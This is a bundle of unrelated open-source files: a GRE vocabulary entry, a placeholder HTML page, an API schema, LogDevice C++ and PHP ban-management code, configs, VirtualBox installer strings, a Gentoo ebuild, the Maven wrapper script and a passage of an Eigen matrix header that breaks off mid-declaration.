【近】 bedew, damp, douse , drench, impregnate, saturate, soak, souse, steep<br />
【反】 dehydrate, desiccate, dry, parch, scorch, sear 使脱水,烤干<br />
<br />
【考法 2】 vt. 抑制,压抑,泼冷水: to check or diminish the feeling, activity or vigor of<br />
【例】 Nothing could dampen their enthusiasm. 没有什么能扼杀他们的激情。‖The oppressive heat dampened our spirits. 让人难以忍受的酷暑让我们精神不振。<br />
【近】 benumb, blunt, castrate, deaden, devitalize, enervate, geld, lobotomize, petrify<br />
【反】 brace, energize, enliven, invigorate, quicken, stimulate, vitalize, vivify 使充满活力<br />
<br />
【记】 dam + 音:破,泼,大坝破了,大坝泼水会潮湿;damp + en 使→使潮湿<br />
</answer>
<modified>2015-10-04</modified>
<template-id>10028</template-id>
<question-audio>true</question-audio>
</item>
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Article 1 from feed 1</title>
</head>
<body>
<h1>Article 3 from Feed 14</h1>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. </p>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi.</p>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
{
"id": "apitore_travelfeedsapis",
"title": "Travel feeds APIs",
"description": "Various travel feeds.<BR />[Endpoint] https://api.apitore.com/api/36",
"security": {},
"logo": {
"url": "https://api.apis.guru/v2/cache/logo/https_apitore.com_img_apis_36.jpg"
},
"tags": [],
"definitions": {
"FeedEntryEntity": {
"properties": {
"author": {
"description": "Author",
"type": "string"
},
"description": {
"description": "Description",
"type": "string"
},
"link": {
"description": "Link",
"type": "string"
},
"pubDate": {
"description": "Published Date",
"format": "int64",
"type": "integer"
},
"sourceLink": {
"description": "Source Link",
"type": "string"
},
"sourceTitle": {
"description": "Source Title",
"type": "string"
},
"title": {
"description": "Title",
"type": "string"
}
},
"required": [
"link",
"pubDate",
"sourceLink",
"sourceTitle",
"title"
],
"type": "object"
},
"FeedResponseEntity": {
"properties": {
"endTime": {
"description": "End date",
"type": "string"
},
"entries": {
"description": "Entries",
"items": {
"$ref": "#/definitions/FeedEntryEntity"
},
"type": "array"
},
"lastUpdatedAt": {
"description": "Last Updated At",
"format": "int64",
"type": "integer"
},
"log": {
"description": "Log message",
"type": "string"
},
"num": {
"description": "Num",
"format": "int32",
"type": "integer"
},
"page": {
"description": "Input page num",
"format": "int32",
"type": "integer"
},
"processTime": {
"description": "Process time [millisecond]",
"type": "string"
},
"startTime": {
"description": "Start date",
"type": "string"
}
},
"required": [
"endTime",
"entries",
"lastUpdatedAt",
"log",
"num",
"page",
"processTime",
"startTime"
],
"type": "object"
}
},
"actions": [
{
"id": "feedUsingGET_8",
"title": "feedUsingGET_8",
"description": "Travel feeds.<BR />Response<BR /> Github: <a href=\"https://github.com/keigohtr/apitore-response-parent/tree/master/rome-response\">rome-response</a><BR /> Class: com.apitore.banana.response.org.rome.FeedResponseEntity<BR />",
"inputSchema": {
"type": "object",
"properties": {
"access_token": {
"type": "string",
"description": "Access Token"
},
"page": {
"type": "integer",
"format": "int32",
"description": "Page number [page x 10 feeds]"
}
},
"additionalProperties": false,
"required": [
"access_token"
]
},
"outputSchema": {
"$ref": "#/definitions/FeedResponseEntity"
}
}
]
}
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2017-present, Facebook, Inc. and its affiliates.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree.
*/
#include "logdevice/server/message_handlers/DELETE_onReceived.h"
#include <memory>
#include "logdevice/common/Sender.h"
#include "logdevice/common/configuration/ServerConfig.h"
#include "logdevice/common/debug.h"
#include "logdevice/server/ServerProcessor.h"
#include "logdevice/server/ServerWorker.h"
#include "logdevice/server/locallogstore/WriteOps.h"
#include "logdevice/server/storage/DeleteStorageTask.h"
#include "logdevice/server/storage_tasks/PerWorkerStorageTaskQueue.h"
namespace facebook { namespace logdevice {
Message::Disposition DELETE_onReceived(DELETE_Message* msg,
const Address& from) {
const DELETE_Header& header = msg->getHeader();
ServerWorker* worker = ServerWorker::onThisThread();
shard_index_t shard_idx = header.shard;
ld_check(shard_idx != -1);
const shard_size_t n_shards = worker->getNodesConfiguration()->getNumShards();
if (shard_idx >= n_shards) {
RATELIMIT_ERROR(std::chrono::seconds(10),
10,
"Got DELETE message from %s with invalid shard %u, "
"this node only has %u shards",
Sender::describeConnection(from).c_str(),
shard_idx,
n_shards);
return Message::Disposition::NORMAL;
}
if (!from.isClientAddress()) {
RATELIMIT_ERROR(std::chrono::seconds(1),
10,
"PROTOCOL ERROR: got a DELETE %s from an outgoing (server) "
"connection to %s. DELETE messages can only arrive from "
"incoming (client) connections",
header.rid.toString().c_str(),
Sender::describeConnection(from).c_str());
err = E::PROTO;
return Message::Disposition::ERROR;
}
if (!worker->isAcceptingWork()) {
ld_debug("Ignoring DELETE message: not accepting more work");
return Message::Disposition::NORMAL;
}
// Check that we should even be processing this
if (!worker->processor_->runningOnStorageNode()) {
RATELIMIT_ERROR(std::chrono::seconds(1),
10,
"Got DELETE %s from %s but not configured as a "
"storage node",
header.rid.toString().c_str(),
Sender::describeConnection(from).c_str());
err = E::PROTO;
return Message::Disposition::ERROR;
}
DeleteWriteOp op = {// TODO #3041039
header.rid.logid,
compose_lsn(header.rid.epoch, header.rid.esn)};
worker->getStorageTaskQueueForShard(shard_idx)->putTask(
std::make_unique<DeleteStorageTask>(op));
return Message::Disposition::NORMAL;
}
}} // namespace facebook::logdevice
|
{
"pile_set_name": "Github"
}
|
@import '~office-ui-fabric-react/dist/sass/References.scss';
//@import "~@microsoft/sp-office-ui-fabric-core/dist/sass/SPFabricCore.scss";
// exporting all these variables allows us to pick-up
// these values from within the code
// (we're trying to avoid hard-coding styles in the code)
:export {
defaultFontColor: $ms-color-neutralSecondary;
defaultFontFamily: $ms-font-family-fallbacks;
defaultFontSize: $ms-font-size-m;
lineColor: $ms-color-neutralLighter;
titleColor: $ms-color-neutralSecondary;
titleFont: $ms-font-family-fallbacks;
titleFontSize: $ms-font-size-m;
legendColor: $ms-color-neutralTertiary;
legendFont: $ms-font-family-fallbacks;
legendFontSize: $ms-font-size-s;
tooltipFontSize: $ms-font-size-s;
tooltipFont: $ms-font-family-fallbacks;
tooltipBodyColor:$ms-color-white;
tooltipTitleFont: $ms-font-family-fallbacks;
tooltipTitleColor: $ms-color-white;
tooltipTitleFontSize: $ms-font-size-s;
tooltipFooterColor: $ms-color-white;
tooltipFooterFont: $ms-font-family-fallbacks;
tooltipFooterFontSize: $ms-font-size-s;
tooltipBackgroundColor: $ms-color-neutralPrimary;
tooltipBorderColor: $ms-color-neutralPrimary;
scaleFontColor: $ms-color-neutralSecondary;
scaleFont: $ms-font-family-fallbacks;
scaleFontSize: $ms-font-size-s;
}
.chartComponent {
&.themed {
background-color: "[theme: bodyBackground, default: #ffffff]";
}
}
// Renders an invisible table to everyone but people who use a screen reader
.accessibleTable {
position: 'absolute';
left: -10000;
top: 'auto';
width: 1;
height: 1;
overflow: 'hidden';
display: none;
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2013 Goldman Sachs.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.gs.collections.impl.map.mutable.primitive;
import com.gs.collections.impl.test.Verify;
import org.junit.Test;
public class UnmodifiableDoubleIntMapSerializationTest
{
@Test
public void serializedForm()
{
Verify.assertSerializedForm(
1L,
"rO0ABXNyAEZjb20uZ3MuY29sbGVjdGlvbnMuaW1wbC5tYXAubXV0YWJsZS5wcmltaXRpdmUuVW5t\n"
+ "b2RpZmlhYmxlRG91YmxlSW50TWFwAAAAAAAAAAECAAFMAANtYXB0ADpMY29tL2dzL2NvbGxlY3Rp\n"
+ "b25zL2FwaS9tYXAvcHJpbWl0aXZlL011dGFibGVEb3VibGVJbnRNYXA7eHBzcgA+Y29tLmdzLmNv\n"
+ "bGxlY3Rpb25zLmltcGwubWFwLm11dGFibGUucHJpbWl0aXZlLkRvdWJsZUludEhhc2hNYXAAAAAA\n"
+ "AAAAAQwAAHhwdwQAAAAAeA==",
new UnmodifiableDoubleIntMap(new DoubleIntHashMap()));
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace Foolz\FoolFuuka\Model;
use Foolz\FoolFrame\Model\Model;
/**
* Thrown when there's no results from database or the value domain hasn't been respected
*/
class BanException extends \Exception {}
/**
* Thrown when there's no results from the database
*/
class BanNotFoundException extends BanException {}
/**
* Manages the bans
*/
class Ban extends Model
{
/**
* Autoincremented ID
*
* @var int
*/
public $id = 0;
/**
* Decimal IP of the banned user
*
* @var string A numeric string representing the decimal IP
*/
public $ip = 0;
/**
* Explanation of why the user has been banned
*
* @var string
*/
public $reason = '';
/**
* The starting point of the ban in UNIX time
*
* @var int
*/
public $start = 0;
/**
* The length of the ban in seconds
*
* @var int
*/
public $length = 0;
/**
* The board the user has been banned from. 0 is a global ban
*
* @var int The board ID, otherwise 0 for global ban
*/
public $board_id = 0;
/**
* The author of the ban as defined by the login system
*
* @var int
*/
public $creator_id = 0;
/**
* The plea by the user to get unbanned
*
* @var string
*/
public $appeal = '';
/**
* The status of the appeal
*
* @var int Based on the class constants APPEAL_*
*/
public $appeal_status = 0;
/**
* @var DoctrineConnection
*/
protected $dc;
/**
* @var Uri
*/
protected $uri;
/**
* @var RadixCollection
*/
protected $radix_coll;
/**
* Appeal statuses for the appeal_status field
*/
const APPEAL_NONE = 0;
const APPEAL_PENDING = 1;
const APPEAL_REJECTED = 2;
public function __construct(\Foolz\FoolFrame\Model\Context $context)
{
parent::__construct($context);
$this->dc = $context->getService('doctrine');
$this->uri = $context->getService('uri');
$this->radix_coll = $context->getService('foolfuuka.radix_collection');
}
/**
* Adds the appeal message to the ban. Only one appeal is allowed
*
* @param string $appeal The appeal submitted by the user
*
* @return \Foolz\FoolFuuka\Model\Ban
*/
public function appeal($appeal)
{
$this->dc->qb()
->update($this->dc->p('banned_posters'))
->where('id = :id')
->set('appeal', ':appeal')
->set('appeal_status', static::APPEAL_PENDING)
->setParameter(':id', $this->id)
->setParameter(':appeal', $appeal)
->execute();
return $this;
}
/**
* Sets the flag to deny the appeal
*
* @return \Foolz\FoolFuuka\Model\Ban
*/
public function appealReject()
{
$this->dc->qb()
->update($this->dc->p('banned_posters'))
->where('id = :id')
->set('appeal_status', static::APPEAL_REJECTED)
->setParameter(':id', $this->id)
->execute();
return $this;
}
/**
* Remove the entry for a ban (unban)
*
* @return \Foolz\FoolFuuka\Model\Ban
*/
public function delete()
{
$this->dc->qb()
->delete($this->dc->p('banned_posters'))
->where('id = :id')
->setParameter(':id', $this->id)
->execute();
return $this;
}
public function getMessage()
{
if ($this->board_id == 0) {
$message = _i('It looks like you were banned on all boards.');
} else {
$message = _i('It looks like you were banned on /'.$this->radix_coll->getById($this->board_id)->shortname.'/.');
}
if ($this->length) {
$message .= ' '._i('This ban will last until:').' '.date(DATE_COOKIE, $this->start + $this->length).'.';
} else {
$message .= ' '._i('This ban will last forever.');
}
if ($this->reason) {
$message .= ' '._i('The reason for this ban is:').' «'.$this->reason.'».';
}
if ($this->appeal_status == Ban::APPEAL_NONE) {
$message .= ' '._i(
'If you wish to appeal your ban, go to the "%s" page.',
'<a href="'.$this->uri->create('_/appeal_ban').'">'._i('appeal ban').'</a>'
);
} elseif ($this->appeal_status == Ban::APPEAL_PENDING) {
$message .= ' '._i('Your appeal is pending.');
}
return $message;
}
}
|
{
"pile_set_name": "Github"
}
|
workflows:
opportunity_flow:
attributes:
opportunity_name:
property_path: opportunity.name
notes:
property_path: opportunity.notes
contact:
property_path: opportunity.contact
probability:
property_path: opportunity.probability
budget_amount:
property_path: opportunity.budgetAmount
type: entity
options:
class: Oro\Bundle\CurrencyBundle\Entity\MultiCurrency
customer_need:
property_path: opportunity.customerNeed
proposed_solution:
property_path: opportunity.proposedSolution
close_reason_name:
type: string
close_reason:
property_path: opportunity.closeReason
close_revenue:
property_path: opportunity.closeRevenue
type: entity
options:
class: Oro\Bundle\CurrencyBundle\Entity\MultiCurrency
close_date:
property_path: opportunity.closeDate
status:
property_path: opportunity.status
|
{
"pile_set_name": "Github"
}
|
'VirtualBox_title' = '@VBOX_PRODUCT@';
'choiceVBoxKEXTs_title' = '@VBOX_PRODUCT@ Kernel Extensions';
'choiceVBoxKEXTs_msg' = 'Installs the @VBOX_PRODUCT@ Kernel Extensions into /Library/Extensions.';
'choiceVBoxStartup_title' = '@VBOX_PRODUCT@ Startup Items';
'choiceVBoxStartup_msg' = 'Installs the @VBOX_PRODUCT@ Startup Items to /Library/StartupItems/VirtualBox.';
'choiceVBox_title' = '@VBOX_PRODUCT@';
'choiceVBox_msg' = 'Installs the @VBOX_PRODUCT@ application into /Applications.';
'choiceVBoxCLI_title' = '@VBOX_PRODUCT@ Command Line Utilities';
'choiceVBoxCLI_msg' = 'Installs the @VBOX_PRODUCT@ command line utilities into /usr/bin.';
'RUNNING_VMS_TLE' = "Running VirtualBox VM's detected!";
'RUNNING_VMS_MSG' = "The installer has detected running Virtual Machines. Please shutdown all running VirtualBox machines and then restart the installation.";
'UNSUPPORTED_HW_MACHINE_TLE' = "Unsupported hardware architecture detected!";
'UNSUPPORTED_HW_MACHINE_MSG' = "The installer has detected an unsupported architecture. VirtualBox only runs on the x86 and amd64 architectures.";
'UNSUPPORTED_OS_TLE' = "Unsupported OS version detected!";
'UNSUPPORTED_OS_MSG' = "The installer has detected an unsupported operation system. VirtualBox requires Mac OS X 10.6 or later.";
|
{
"pile_set_name": "Github"
}
|
# Copyright 1999-2020 Gentoo Authors
# Distributed under the terms of the GNU General Public License v2
EAPI=7
# ebuild generated by hackport 0.6.4.9999
CABAL_FEATURES="lib profile haddock hoogle hscolour"
inherit haskell-cabal
DESCRIPTION="Lambdabot core functionality"
HOMEPAGE="https://wiki.haskell.org/Lambdabot"
SRC_URI="https://hackage.haskell.org/package/${P}/${P}.tar.gz"
LICENSE="GPL-2"
SLOT="0/${PV}"
KEYWORDS="~amd64 ~x86"
IUSE=""
RDEPEND=">=dev-haskell/dependent-map-0.2:=[profile?]
>=dev-haskell/dependent-sum-0.3:=[profile?]
>=dev-haskell/dependent-sum-template-0.0.0.1:=[profile?]
>=dev-haskell/edit-distance-0.2:=[profile?]
>=dev-haskell/haskeline-0.7:=[profile?] <dev-haskell/haskeline-0.8:=[profile?]
>=dev-haskell/hslogger-1.2.1:=[profile?]
>=dev-haskell/http-4000:=[profile?]
>=dev-haskell/lifted-base-0.2:=[profile?]
>=dev-haskell/monad-control-1.0:=[profile?]
>=dev-haskell/mtl-2:=[profile?]
>=dev-haskell/network-2.7:=[profile?] <dev-haskell/network-3.2:=[profile?]
>=dev-haskell/network-bsd-2.7:=[profile?] <dev-haskell/network-bsd-2.9:=[profile?]
>=dev-haskell/parsec-3:=[profile?]
>=dev-haskell/prim-uniq-0.1:=[profile?] <dev-haskell/prim-uniq-0.2:=[profile?]
>=dev-haskell/random-1:=[profile?]
>=dev-haskell/random-fu-0.2.6.2:=[profile?]
>=dev-haskell/random-source-0.3:=[profile?]
>=dev-haskell/regex-tdfa-1.1:=[profile?]
>=dev-haskell/safesemaphore-0.9:=[profile?]
>=dev-haskell/split-0.2:=[profile?]
>=dev-haskell/syb-0.3:=[profile?]
>=dev-haskell/transformers-base-0.4:=[profile?]
>=dev-haskell/utf8-string-0.3:=[profile?]
>=dev-haskell/zlib-0.5:=[profile?]
>=dev-lang/ghc-7.8.2:=
"
DEPEND="${RDEPEND}
>=dev-haskell/cabal-1.18.1.3
"
PATCHES=(
"${FILESDIR}"/${PN}-5.1.0.4-regex-base-0.94.patch
)
src_prepare() {
default
# Setup.hs is not compatible to cabal-3
rm Setup.hs || die
cabal_chdeps \
'dependent-map == 0.2.*' 'dependent-map >= 0.2' \
'dependent-sum >= 0.3 && < 0.6' 'dependent-sum >= 0.3'
}
|
{
"pile_set_name": "Github"
}
|
@REM ----------------------------------------------------------------------------
@REM Licensed to the Apache Software Foundation (ASF) under one
@REM or more contributor license agreements. See the NOTICE file
@REM distributed with this work for additional information
@REM regarding copyright ownership. The ASF licenses this file
@REM to you under the Apache License, Version 2.0 (the
@REM "License"); you may not use this file except in compliance
@REM with the License. You may obtain a copy of the License at
@REM
@REM https://www.apache.org/licenses/LICENSE-2.0
@REM
@REM Unless required by applicable law or agreed to in writing,
@REM software distributed under the License is distributed on an
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
@REM KIND, either express or implied. See the License for the
@REM specific language governing permissions and limitations
@REM under the License.
@REM ----------------------------------------------------------------------------
@REM ----------------------------------------------------------------------------
@REM Maven Start Up Batch script
@REM
@REM Required ENV vars:
@REM JAVA_HOME - location of a JDK home dir
@REM
@REM Optional ENV vars
@REM M2_HOME - location of maven2's installed home dir
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
@REM e.g. to debug Maven itself, use
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
@REM ----------------------------------------------------------------------------
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
@echo off
@REM set title of command window
title %0
@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
@REM set %HOME% to equivalent of $HOME
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
@REM Execute a user defined script before this one
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
@REM check for pre script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
:skipRcPre
@setlocal
set ERROR_CODE=0
@REM To isolate internal variables from possible post scripts, we use another setlocal
@setlocal
@REM ==== START VALIDATION ====
if not "%JAVA_HOME%" == "" goto OkJHome
echo.
echo Error: JAVA_HOME not found in your environment. >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
:OkJHome
if exist "%JAVA_HOME%\bin\java.exe" goto init
echo.
echo Error: JAVA_HOME is set to an invalid directory. >&2
echo JAVA_HOME = "%JAVA_HOME%" >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
@REM ==== END VALIDATION ====
:init
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
@REM Fallback to current working directory if not found.
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
set EXEC_DIR=%CD%
set WDIR=%EXEC_DIR%
:findBaseDir
IF EXIST "%WDIR%"\.mvn goto baseDirFound
cd ..
IF "%WDIR%"=="%CD%" goto baseDirNotFound
set WDIR=%CD%
goto findBaseDir
:baseDirFound
set MAVEN_PROJECTBASEDIR=%WDIR%
cd "%EXEC_DIR%"
goto endDetectBaseDir
:baseDirNotFound
set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
cd "%EXEC_DIR%"
:endDetectBaseDir
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
@setlocal EnableExtensions EnableDelayedExpansion
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
:endReadAdditionalConfig
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
)
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
if exist %WRAPPER_JAR% (
if "%MVNW_VERBOSE%" == "true" (
echo Found %WRAPPER_JAR%
)
) else (
if not "%MVNW_REPOURL%" == "" (
SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
)
if "%MVNW_VERBOSE%" == "true" (
echo Couldn't find %WRAPPER_JAR%, downloading it ...
echo Downloading from: %DOWNLOAD_URL%
)
powershell -Command "&{"^
"$webclient = new-object System.Net.WebClient;"^
"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
"}"^
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
"}"
if "%MVNW_VERBOSE%" == "true" (
echo Finished downloading %WRAPPER_JAR%
)
)
@REM End of extension
@REM Provide a "standardized" way to retrieve the CLI args that will
@REM work with both Windows and non-Windows executions.
set MAVEN_CMD_LINE_ARGS=%*
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
if ERRORLEVEL 1 goto error
goto end
:error
set ERROR_CODE=1
:end
@endlocal & set ERROR_CODE=%ERROR_CODE%
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
@REM check for post script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
:skipRcPost
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
if "%MAVEN_BATCH_PAUSE%" == "on" pause
if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
exit /B %ERROR_CODE%
|
{
"pile_set_name": "Github"
}
|
// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2009 Gael Guennebaud <gael.guennebaud@inria.fr>
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License v. 2.0. If a copy of the MPL was not distributed
// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
#ifndef EIGEN_SELFADJOINTMATRIX_H
#define EIGEN_SELFADJOINTMATRIX_H
namespace Eigen {
/** \class SelfAdjointView
* \ingroup Core_Module
*
*
* \brief Expression of a selfadjoint matrix from a triangular part of a dense matrix
*
* \param MatrixType the type of the dense matrix storing the coefficients
* \param TriangularPart can be either \c #Lower or \c #Upper
*
* This class is an expression of a sefladjoint matrix from a triangular part of a matrix
* with given dense storage of the coefficients. It is the return type of MatrixBase::selfadjointView()
* and most of the time this is the only way that it is used.
*
* \sa class TriangularBase, MatrixBase::selfadjointView()
*/
namespace internal {
template<typename MatrixType, unsigned int UpLo>
struct traits<SelfAdjointView<MatrixType, UpLo> > : traits<MatrixType>
{
typedef typename nested<MatrixType>::type MatrixTypeNested;
typedef typename remove_all<MatrixTypeNested>::type MatrixTypeNestedCleaned;
typedef MatrixType ExpressionType;
typedef typename MatrixType::PlainObject DenseMatrixType;
enum {
Mode = UpLo | SelfAdjoint,
Flags = MatrixTypeNestedCleaned::Flags & (HereditaryBits)
& (~(PacketAccessBit | DirectAccessBit | LinearAccessBit)), // FIXME these flags should be preserved
CoeffReadCost = MatrixTypeNestedCleaned::CoeffReadCost
};
};
}
template <typename Lhs, int LhsMode, bool LhsIsVector,
typename Rhs, int RhsMode, bool RhsIsVector>
struct SelfadjointProductMatrix;
// FIXME could also be called SelfAdjointWrapper to be consistent with DiagonalWrapper ??
template<typename MatrixType, unsigned int UpLo> class SelfAdjointView
: public TriangularBase<SelfAdjointView<MatrixType, UpLo> >
{
public:
typedef TriangularBase<SelfAdjointView> Base;
typedef typename internal::traits<SelfAdjointView>::MatrixTypeNested MatrixTypeNested;
typedef typename internal::traits<SelfAdjointView>::MatrixTypeNestedCleaned MatrixTypeNestedCleaned;
/** \brief The type of coefficients in this matrix */
typedef typename internal::traits<SelfAdjointView>::Scalar Scalar;
typedef typename MatrixType::Index Index;
enum {
Mode = internal::traits<SelfAdjointView>::Mode
};
typedef typename MatrixType::PlainObject PlainObject;
inline SelfAdjointView(MatrixType& matrix) : m_matrix(matrix)
{}
inline Index rows() const { return m_matrix.rows(); }
inline Index cols() const { return m_matrix.cols(); }
inline Index outerStride() const { return m_matrix.outerStride(); }
inline Index innerStride() const { return m_matrix.innerStride(); }
/** \sa MatrixBase::coeff()
* \warning the coordinates must fit into the referenced triangular part
*/
inline Scalar coeff(Index row, Index col) const
{
Base::check_coordinates_internal(row, col);
return m_matrix.coeff(row, col);
}
/** \sa MatrixBase::coeffRef()
* \warning the coordinates must fit into the referenced triangular part
*/
inline Scalar& coeffRef(Index row, Index col)
{
Base::check_coordinates_internal(row, col);
return m_matrix.const_cast_derived().coeffRef(row, col);
}
/** \internal */
const MatrixTypeNestedCleaned& _expression() const { return m_matrix; }
const MatrixTypeNestedCleaned& nestedExpression() const { return m_matrix; }
MatrixTypeNestedCleaned& nestedExpression() { return *const_cast<MatrixTypeNestedCleaned*>(&m_matrix); }
/** Efficient self-adjoint matrix times vector/matrix product */
template<typename OtherDerived>
SelfadjointProductMatrix<MatrixType,Mode,false,OtherDerived,0,OtherDerived::IsVectorAtCompileTime>
operator*(const MatrixBase<OtherDerived>& rhs) const
{
return SelfadjointProductMatrix
<MatrixType,Mode,false,OtherDerived,0,OtherDerived::IsVectorAtCompileTime>
(m_matrix, rhs.derived());
}
/** Efficient vector/matrix times self-adjoint matrix product */
template<typename OtherDerived> friend
SelfadjointProductMatrix<OtherDerived,0,OtherDerived::IsVectorAtCompileTime,MatrixType,Mode,false>
operator*(const MatrixBase<OtherDerived>& lhs, const SelfAdjointView& rhs)
{
return SelfadjointProductMatrix
<OtherDerived,0,OtherDerived::IsVectorAtCompileTime,MatrixType,Mode,false>
(lhs.derived(),rhs.m_matrix);
}
/** Perform a symmetric rank 2 update of the selfadjoint matrix \c *this:
* \f$ this = this + \alpha u v^* + conj(\alpha) v u^* \f$
* \returns a reference to \c *this
*
* The vectors \a u and \c v \b must be column vectors, however they can be
* a adjoint expression without any overhead. Only the meaningful triangular
* part of the matrix is updated, the rest is left unchanged.
*
* \sa rankUpdate(const MatrixBase<DerivedU>&, Scalar)
*/
template<typename DerivedU, typename DerivedV>
